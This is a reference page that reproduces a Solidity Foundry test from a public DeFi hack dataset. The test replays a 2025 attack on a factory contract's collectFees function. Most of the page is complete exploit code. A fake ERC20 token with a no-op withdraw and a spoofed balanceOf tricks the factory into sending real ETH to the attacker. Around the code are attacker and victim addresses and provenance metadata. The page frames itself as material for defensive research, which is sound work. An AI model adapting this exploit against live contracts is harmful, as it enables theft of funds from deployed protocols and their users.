Public reproduction file
src/test/2025-06/InitcodeFactoryFees_exp.sol
Public reproduction file for dataset entry InitcodeFactoryFees.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 2,383.25 USD8// Attacker : 0xad2cb8f48e74065a0b884af9c5a4ecbba101be239// Attack Contract : 0x0c76c4911d92b99d0dab0a8a90b73e9ae3bc940f10// Vulnerable Contract : 0x930f9fa91e1e46d8e44abc3517e2965c6f9c476311// Attack Tx : https://etherscan.io/tx/0x837752ca27743c9b37d901ff6cf9cdbe98b6097c660394a390de075455d8ccea12//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x930f9fa91e1e46d8e44abc3517e2965c6f9c4763#code15//16// @Analysis17// Telegram Alert : https://t.me/defimon_alerts/136618//19// Attack summary: the attacker deployed fake ERC20 tokens, created a Uniswap V3 pool for them, minted20// a fee-earning NFT position to the victim Factory, generated fake token fees, then called21// Factory.collectFees(tokenId). The fake token reports an inflated victim balance once the victim22// holds any fake tokens.23// Root cause: collectFees authorizes the caller through token0.creator() and assumes token1 is WETH24// without requiring token1 == WETH. A fake token1 can implement a no-op withdraw(), after which the25// Factory sends real ETH to the fake token creator.27address constant ATTACKER = address(uint160(0x00ad2cb8f48e74065a0b884af9c5a4ecbba101be23));28address constant HISTORICAL_ATTACK_CONTRACT = address(uint160(0x000c76c4911d92b99d0dab0a8a90b73e9ae3bc940f));29address constant VICTIM_FACTORY = address(uint160(0x00930f9fa91e1e46d8e44abc3517e2965c6f9c4763));30address constant POSITION_MANAGER = address(uint160(0x00c36442b4a4522e871399cd717abdd847ab11fe88));31address constant SWAP_ROUTER = address(uint160(0x0068b3465833fb72a70ecdf485e0e4c7bd8665fc45));33uint24 constant POOL_FEE = 500;34uint160 constant SQRT_PRICE_1_1 = 79_228_162_514_264_337_593_543_950_336;35int24 constant MIN_TICK_500 = -887_270;36int24 constant MAX_TICK_500 = 887_270;37uint256 constant LP_AMOUNT = 100 ether;38uint256 constant SWAP_AMOUNT = 10 ether;39uint256 constant HISTORICAL_ETH_PROFIT = 979_332_749_999_999_999;41interface IVictimFactory1366 {42 function collectFees(43 uint256 tokenId44 ) external returns (uint256 amount0, uint256 amount1);45}47interface INonfungiblePositionManager1366 {48 struct MintParams {49 address token0;50 address token1;51 uint24 fee;52 int24 tickLower;53 int24 tickUpper;54 uint256 amount0Desired;55 uint256 amount1Desired;56 uint256 amount0Min;57 uint256 amount1Min;58 address recipient;59 uint256 deadline;60 }62 function createAndInitializePoolIfNecessary(address token0, address token1, uint24 fee, uint160 sqrtPriceX96)63 external64 payable65 returns (address pool);67 function mint(68 MintParams calldata params69 ) external payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);70}72interface ISwapRouter1366 {73 struct ExactInputSingleParams {74 address tokenIn;75 address tokenOut;76 uint24 fee;77 address recipient;78 uint256 amountIn;79 uint256 amountOutMinimum;80 uint160 sqrtPriceLimitX96;81 }83 function exactInputSingle(84 ExactInputSingleParams calldata params85 ) external payable returns (uint256 amountOut);86}88contract ContractTest is BaseTestWithBalanceLog {89 function setUp() public {90 vm.createSelectFork("mainnet", 22_801_926);91 vm.roll(22_801_927);92 vm.warp(0x685fb053);94 fundingToken = address(0);95 attacker = ATTACKER;97 vm.label(ATTACKER, "Attacker");98 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");99 vm.label(VICTIM_FACTORY, "Victim Factory");100 vm.label(POSITION_MANAGER, "Uniswap V3 position manager");101 vm.label(SWAP_ROUTER, "Uniswap V3 swap router");102 }104 function testExploit() public balanceLog {105 uint256 attackerEthBefore = ATTACKER.balance;107 FactoryFeeAttack attack = new FactoryFeeAttack(ATTACKER);108 vm.deal(address(attack), 0);110 vm.prank(ATTACKER);111 attack.execute();113 assertEq(ATTACKER.balance - attackerEthBefore, HISTORICAL_ETH_PROFIT);114 }115}117contract FactoryFeeAttack {118 address private immutable profitReceiver;120 constructor(121 address receiver122 ) {123 profitReceiver = receiver;124 }126 receive() external payable {}128 function execute() external {129 FakeCreatorToken tokenA = new FakeCreatorToken("Fake Alpha", "FALPHA");130 FakeCreatorToken tokenB = new FakeCreatorToken("Fake Wrapped ETH", "FWETH");132 address token0 = address(tokenA) < address(tokenB) ? address(tokenA) : address(tokenB);133 address token1 = token0 == address(tokenA) ? address(tokenB) : address(tokenA);135 IERC20(token0).approve(POSITION_MANAGER, type(uint256).max);136 IERC20(token1).approve(POSITION_MANAGER, type(uint256).max);137 IERC20(token1).approve(SWAP_ROUTER, type(uint256).max);139 INonfungiblePositionManager1366(POSITION_MANAGER).createAndInitializePoolIfNecessary(140 token0, token1, POOL_FEE, SQRT_PRICE_1_1141 );143 (uint256 tokenId,,,) = INonfungiblePositionManager1366(POSITION_MANAGER).mint(144 INonfungiblePositionManager1366.MintParams({145 token0: token0,146 token1: token1,147 fee: POOL_FEE,148 tickLower: MIN_TICK_500,149 tickUpper: MAX_TICK_500,150 amount0Desired: LP_AMOUNT,151 amount1Desired: LP_AMOUNT,152 amount0Min: 0,153 amount1Min: 0,154 recipient: VICTIM_FACTORY,155 deadline: block.timestamp156 })157 );159 ISwapRouter1366(SWAP_ROUTER).exactInputSingle(160 ISwapRouter1366.ExactInputSingleParams({161 tokenIn: token1,162 tokenOut: token0,163 fee: POOL_FEE,164 recipient: VICTIM_FACTORY,165 amountIn: SWAP_AMOUNT,166 amountOutMinimum: 0,167 sqrtPriceLimitX96: 0168 })169 );171 IVictimFactory1366(VICTIM_FACTORY).collectFees(tokenId);173 payable(profitReceiver).transfer(address(this).balance);174 }175}177contract FakeCreatorToken {178 string public name;179 string public symbol;180 uint8 public constant decimals = 18;181 uint256 public totalSupply;182 address public immutable creator;184 mapping(address => uint256) private balances;185 mapping(address => mapping(address => uint256)) public allowance;187 constructor(string memory tokenName, string memory tokenSymbol) {188 name = tokenName;189 symbol = tokenSymbol;190 creator = msg.sender;191 totalSupply = 1_000_000 ether;192 balances[msg.sender] = totalSupply;193 }195 function balanceOf(196 address account197 ) external view returns (uint256) {198 if (account == VICTIM_FACTORY && balances[account] != 0) return HISTORICAL_ETH_PROFIT * 2;199 return balances[account];200 }202 function approve(address spender, uint256 amount) external returns (bool) {203 allowance[msg.sender][spender] = amount;204 return true;205 }207 function transfer(address to, uint256 amount) external returns (bool) {208 _transfer(msg.sender, to, amount);209 return true;210 }212 function transferFrom(address from, address to, uint256 amount) external returns (bool) {213 uint256 allowed = allowance[from][msg.sender];214 if (allowed != type(uint256).max) {215 require(allowed >= amount, "allowance");216 allowance[from][msg.sender] = allowed - amount;217 }219 _transfer(from, to, amount);220 return true;221 }223 function withdraw(224 uint256225 ) external pure {}227 function _transfer(address from, address to, uint256 amount) private {228 require(balances[from] >= amount, "balance");229 balances[from] -= amount;230 balances[to] += amount;231 }232}Analysis
Dataset entry
Public Foundry test for “InitcodeFactoryFees” (2025-06-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xad2cb8f48e74065a0b884af9c5a4ecbba101be23
- Attack Contract
0x0c76c4911d92b99d0dab0a8a90b73e9ae3bc940f
- Vulnerable Contract
0x930f9fa91e1e46d8e44abc3517e2965c6f9c4763
- Attack Tx
0x837752ca27743c9b37d901ff6cf9cdbe98b6097c660394a390de075455d8ccea
File record
- Name
- InitcodeFactoryFees
- Path
- src/test/2025-06/InitcodeFactoryFees_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e9e815918242dc1b75c6ac0e5d2fa604946dfc9c
- Language
- Solidity
- Size
- 233 lines
- Date
- 2025-06-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/InitcodeFactoryFees_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e9e815918242dc1b75c6ac0e5d2fa604946dfc9c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.